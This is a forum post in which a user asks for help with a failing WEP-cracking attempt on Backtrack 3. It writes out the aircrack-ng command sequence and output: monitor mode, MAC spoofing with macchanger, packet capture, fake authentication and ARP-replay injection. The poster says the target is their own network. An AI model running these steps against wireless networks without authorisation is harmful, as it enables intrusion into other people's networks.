Hey Everyone

Second attempt .. so i cut the convo and just difcuss the issue directly.

After having some "wireless issues" i decided to look into things a bit deeper in order to learn about how to protect myself. I already learnt one thing. Block the mac address of 00:11:22:33:44:55 So i want to see how someone got into my system. OK ... so i'm using

Backtrack 3 LiveCD (after spending a few hours doing USB, i found my BIOS didn't allow USB booting .. good lesson for the kiddies
Wireless card is a Dlink Air Plus Xtreme G DWL-G520 HW:B3 FW:4.30

OK ... this this is what i do ... and this is what i get back

Open Shell
-> airmon-ng
wifi0 - atheros - madwifi-ng
ath0 - atheros - madwifi-ng VAP (parent: wifi0)

-> airmon-ng stop ath0
wifi0 - atheros - madwifi-ng
ath0 - atheros - madwifi-ng VAP (parent: wifi0) (VAP Destroyed)

-> ifconfig wifi0 down (i tried ath0 but i get an error saying no such device) just goes to next prompt

->macchanger --mac 00:11:22:33:44:55 wifi0
Current MAC: 00:13:46:xx:xx:xx
Faked MAC: 00:11:22:33:44:55

-> airmon-ng start wifi0
wifi0 - Atheros - madwifi-ng
ath0 - Atheros - madwifi-ng VAP (parent: wifi0) (monitor mode enabled)

->airodump-ng ath0
I find my network
BSSID:00:15:xx:xx:xx:xx PWR:27 Beacons: 23 #data:0 #/s:0 CH:6 MB:54 ENC:WEP CIPHER:WEP Essid:EBC

-> airodump-ng -c 6 -w weppy -bssid 00:15:xx:xx:xx:xx ath0
BSSID:00:15:xx:etc PWR:34 RXQ:100 Beacons:1500 (and counting) #data:70 (and counting slowly) #/s:0 CH:6 MB:54 ENC:WEP CIPHER:WEP ESSID:EBC

Opening a new shell leaving the other running i type
-> aireplay-ng -1 0 -a 00:15:xx:etc -h 00:11:22:33:44:55 -e EBC ath0

-> aireplay-ng -3 -b 00:15:xx:etc -h 00:11:22:33:44:55 ath0
Waiting for beacon frame (BSSID 00:15:xx:etc) on channel 6
Saving ARP requests in replay_arp-1203-020546.cap
You should also start airodump-ng to capture replies
Read 2000 (and counting rapidly) packets (got 0 ARP requests and 0 ACKs) sent 0 packets...(0 pps)

So this is meant to be the important packet imjection that i read so many others have issues with ....

now i did the check on my card and it should be working .. but it isn't .. the #data which i expect

would be going up .. doesn't .. AND i don't get ARP numbers going up ....

Any suggestions would be lovely ...

Thanks guys.
